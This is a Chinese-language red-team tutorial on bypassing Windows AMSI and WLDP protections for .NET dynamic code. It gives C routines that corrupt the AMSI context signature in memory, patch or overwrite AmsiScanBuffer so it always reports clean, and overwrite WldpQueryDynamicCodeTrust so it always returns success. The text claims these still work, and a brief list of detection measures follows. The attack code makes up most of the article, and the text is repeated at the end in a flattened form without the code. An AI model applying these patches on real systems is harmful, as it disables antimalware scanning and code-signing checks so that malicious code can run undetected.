How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code
字数 1325 2025-08-26 22:11:28

绕过.NET动态代码的AMSI和WLDP安全机制技术详解

1. 背景介绍

自.NET框架4.8版本起,微软引入了两项重要的安全机制:

  1. AMSI (Antimalware Scan Interface):用于阻止潜在恶意软件从内存运行,会扫描有害或被管理员禁止的软件
  2. WLDP (Windows Lockdown Policy):检查动态代码的数字签名

这些机制旨在增强安全性,但也成为红队需要绕过的目标。

2. AMSI工作机制深入分析

2.1 AMSI核心函数

AMSI主要通过三个关键函数工作:

typedef HRESULT (WINAPI *AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT *amsiContext);
typedef HRESULT (WINAPI *AmsiScanBuffer_t)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result);
typedef void (WINAPI *AmsiUninitialize_t)(HAMSICONTEXT amsiContext);

2.2 AMSI上下文结构

未公开文档的结构,但逆向分析显示其组成:

typedef struct tagHAMSICONTEXT {
    DWORD Signature;         // "AMSI" or 0x49534D41
    PWCHAR AppName;          // set by AmsiInitialize
    IAntimalware *Antimalware; // set by AmsiInitialize
    DWORD SessionCount;      // increased by AmsiOpenSession
} _HAMSICONTEXT, *_PHAMSICONTEXT;

2.3 CLR中的AMSI实现

CLR使用私有函数AmsiScan检测通过Load方法传递的有害软件:

AmsiScanBuffer_t _AmsiScanBuffer;
AmsiInitialize_t _AmsiInitialize;
HAMSICONTEXT *g_amsiContext;

VOID AmsiScan(PVOID buffer, ULONG length) {
    // 初始化检查
    if(g_amsiContext == NULL) {
        // 加载amsi.dll并解析函数
        amsi = LoadLibraryEx(L"amsi.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
        _AmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsi, "AmsiInitialize");
        _AmsiScanBuffer = (AmsiScanBuffer_t)GetProcAddress(amsi, "AmsiScanBuffer");
        
        // 初始化上下文
        hr = _AmsiInitialize(L"DotNet", &ctx);
        g_amsiContext = ctx;
    }
    
    // 扫描缓冲区
    hr = _AmsiScanBuffer(g_amsiContext, buffer, length, 0, 0, &amsiResult);
    
    // 检查结果
    if(AmsiResultIsMalware(amsiResult) || AmsiResultIsBlockedByAdmin(amsiResult)) {
        // 抛出异常
        ThrowHR(COR_E_BADIMAGEFORMAT, &error_string);
    }
}

3. 绕过AMSI的三种方法

3.1 方法一:篡改AMSI上下文数据(Matt Graeber方法)

原理:破坏CLR的g_amsiContext全局变量,使AmsiScanBuffer返回E_INVALIDARG

实现步骤

  1. 在内存中搜索包含AMSI签名(0x49534D41)的结构
  2. 修改签名使其无效
  3. 导致后续扫描失败

代码实现

BOOL DisableAMSI(VOID) {
    LPVOID hCLR;
    BOOL disabled = FALSE;
    // 获取CLR模块句柄
    hCLR = GetModuleHandleA("CLR");
    
    // 遍历可写段寻找AMSI签名
    for(i=0; i<nt->FileHeader.NumberOfSections && !disabled; i++) {
        if(sh[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
            // 扫描段中的指针
            for(j=0; j<sh[i].Misc.VirtualSize-sizeof(ULONG_PTR); j+=sizeof(ULONG_PTR)) {
                ULONG_PTR ptr = *(ULONG_PTR*)&ds[j];
                // 检查是否为有效指针
                if((mbi.State == MEM_COMMIT) && (mbi.Type == MEM_PRIVATE) && (mbi.Protect == PAGE_READWRITE)) {
                    ctx = (_PHAMSICONTEXT)ptr;
                    // 检查签名并破坏
                    if(ctx->Signature == 0x49534D41) {
                        ctx->Signature++;
                        disabled = TRUE;
                        break;
                    }
                }
            }
        }
    }
    return disabled;
}

3.2 方法二:AMSI函数补丁方法1(修改签名检查)

原理:直接修改AmsiScanBuffer函数中的签名检查逻辑

实现步骤

  1. 定位AmsiScanBuffer函数
  2. 搜索函数中的AMSI签名(0x49534D41)
  3. 修改签名使其无效

代码实现

BOOL DisableAMSI(VOID) {
    HMODULE dll;
    PBYTE cs;
    BOOL disabled = FALSE;
    
    // 加载AMSI库
    dll = LoadLibraryExA("amsi", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
    cs = (PBYTE)GetProcAddress(dll, "AmsiScanBuffer");
    
    // 搜索并修改签名
    for(i=0;; i++) {
        ctx = (_PHAMSICONTEXT)&cs[i];
        if(ctx->Signature == 0x49534D41) {
            VirtualProtect(cs, sizeof(ULONG_PTR), PAGE_EXECUTE_READWRITE, &op);
            ctx->Signature++;
            VirtualProtect(cs, sizeof(ULONG_PTR), op, &t);
            disabled = TRUE;
            break;
        }
    }
    return disabled;
}

3.3 方法三:AMSI函数补丁方法2(Tal Liberman方法)

原理:完全覆盖AmsiScanBuffer函数,使其总是返回"干净"结果

实现步骤

  1. 创建总是返回AMSI_RESULT_CLEAN的替代函数
  2. 覆盖原始AmsiScanBuffer函数

代码实现

// 替代函数
HRESULT AmsiScanBufferStub(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, 
                          LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result) {
    *result = AMSI_RESULT_CLEAN;
    return S_OK;
}

BOOL DisableAMSI(VOID) {
    BOOL disabled = FALSE;
    HMODULE amsi;
    DWORD len, op, t;
    LPVOID cs;
    
    // 加载AMSI库
    amsi = LoadLibrary("amsi");
    cs = GetProcAddress(amsi, "AmsiScanBuffer");
    
    // 计算替代函数长度
    len = (ULONG_PTR)AmsiScanBufferStubEnd - (ULONG_PTR)AmsiScanBufferStub;
    
    // 覆盖原始函数
    if(VirtualProtect(cs, len, PAGE_EXECUTE_READWRITE, &op)) {
        memcpy(cs, &AmsiScanBufferStub, len);
        disabled = TRUE;
        VirtualProtect(cs, len, op, &t);
    }
    return disabled;
}

4. WLDP工作机制与绕过方法

4.1 WLDP核心函数

typedef HRESULT (WINAPI *WldpQueryDynamicCodeTrust_t)(HANDLE fileHandle, PVOID baseImage, ULONG ImageSize);

4.2 绕过WLDP的方法(函数补丁)

原理:覆盖WldpQueryDynamicCodeTrust函数使其总是返回S_OK

实现步骤

  1. 创建总是返回S_OK的替代函数
  2. 覆盖原始WldpQueryDynamicCodeTrust函数

代码实现

// 替代函数
HRESULT WINAPI WldpQueryDynamicCodeTrustStub(HANDLE fileHandle, PVOID baseImage, ULONG ImageSize) {
    return S_OK;
}

BOOL PatchWldp(VOID) {
    BOOL patched = FALSE;
    HMODULE wldp;
    DWORD len, op, t;
    LPVOID cs;
    
    // 加载WLDP库
    wldp = LoadLibrary("wldp");
    cs = GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");
    
    // 计算替代函数长度
    len = (ULONG_PTR)WldpQueryDynamicCodeTrustStubEnd - (ULONG_PTR)WldpQueryDynamicCodeTrustStub;
    
    // 覆盖原始函数
    if(VirtualProtect(cs, len, PAGE_EXECUTE_READWRITE, &op)) {
        memcpy(cs, &WldpQueryDynamicCodeTrustStub, len);
        patched = TRUE;
        VirtualProtect(cs, len, op, &t);
    }
    return patched;
}

5. 防御与检测建议

虽然这些绕过方法在最新版Windows 10和.NET框架中仍然有效,但防御方可以采取以下措施:

  1. 监控关键API调用:监控AmsiScanBufferWldpQueryDynamicCodeTrust的调用模式
  2. 内存保护:使用CFG(Control Flow Guard)和ACG(Arbitrary Code Guard)防止代码修改
  3. 签名验证:实施严格的代码签名策略
  4. 行为分析:检测异常的内存修改行为
  5. AMSI/WLDP日志分析:监控这些服务的异常行为

6. 结论

本文详细介绍了三种绕过AMSI和一种绕过WLDP的方法,这些技术利用了安全机制实现中的弱点。虽然这些方法可能被检测到,但它们展示了攻击者如何通过篡改数据或代码来绕过现代安全机制。防御方需要采取多层次的安全措施来应对这些技术。

绕过.NET动态代码的AMSI和WLDP安全机制技术详解 1. 背景介绍 自.NET框架4.8版本起,微软引入了两项重要的安全机制: AMSI (Antimalware Scan Interface) :用于阻止潜在恶意软件从内存运行,会扫描有害或被管理员禁止的软件 WLDP (Windows Lockdown Policy) :检查动态代码的数字签名 这些机制旨在增强安全性,但也成为红队需要绕过的目标。 2. AMSI工作机制深入分析 2.1 AMSI核心函数 AMSI主要通过三个关键函数工作: 2.2 AMSI上下文结构 未公开文档的结构,但逆向分析显示其组成: 2.3 CLR中的AMSI实现 CLR使用私有函数 AmsiScan 检测通过Load方法传递的有害软件: 3. 绕过AMSI的三种方法 3.1 方法一:篡改AMSI上下文数据(Matt Graeber方法) 原理 :破坏CLR的 g_amsiContext 全局变量,使 AmsiScanBuffer 返回 E_INVALIDARG 实现步骤 : 在内存中搜索包含AMSI签名(0x49534D41)的结构 修改签名使其无效 导致后续扫描失败 代码实现 : 3.2 方法二:AMSI函数补丁方法1(修改签名检查) 原理 :直接修改 AmsiScanBuffer 函数中的签名检查逻辑 实现步骤 : 定位 AmsiScanBuffer 函数 搜索函数中的AMSI签名(0x49534D41) 修改签名使其无效 代码实现 : 3.3 方法三:AMSI函数补丁方法2(Tal Liberman方法) 原理 :完全覆盖 AmsiScanBuffer 函数,使其总是返回"干净"结果 实现步骤 : 创建总是返回 AMSI_RESULT_CLEAN 的替代函数 覆盖原始 AmsiScanBuffer 函数 代码实现 : 4. WLDP工作机制与绕过方法 4.1 WLDP核心函数 4.2 绕过WLDP的方法(函数补丁) 原理 :覆盖 WldpQueryDynamicCodeTrust 函数使其总是返回 S_OK 实现步骤 : 创建总是返回 S_OK 的替代函数 覆盖原始 WldpQueryDynamicCodeTrust 函数 代码实现 : 5. 防御与检测建议 虽然这些绕过方法在最新版Windows 10和.NET框架中仍然有效,但防御方可以采取以下措施: 监控关键API调用 :监控 AmsiScanBuffer 和 WldpQueryDynamicCodeTrust 的调用模式 内存保护 :使用CFG(Control Flow Guard)和ACG(Arbitrary Code Guard)防止代码修改 签名验证 :实施严格的代码签名策略 行为分析 :检测异常的内存修改行为 AMSI/WLDP日志分析 :监控这些服务的异常行为 6. 结论 本文详细介绍了三种绕过AMSI和一种绕过WLDP的方法,这些技术利用了安全机制实现中的弱点。虽然这些方法可能被检测到,但它们展示了攻击者如何通过篡改数据或代码来绕过现代安全机制。防御方需要采取多层次的安全措施来应对这些技术。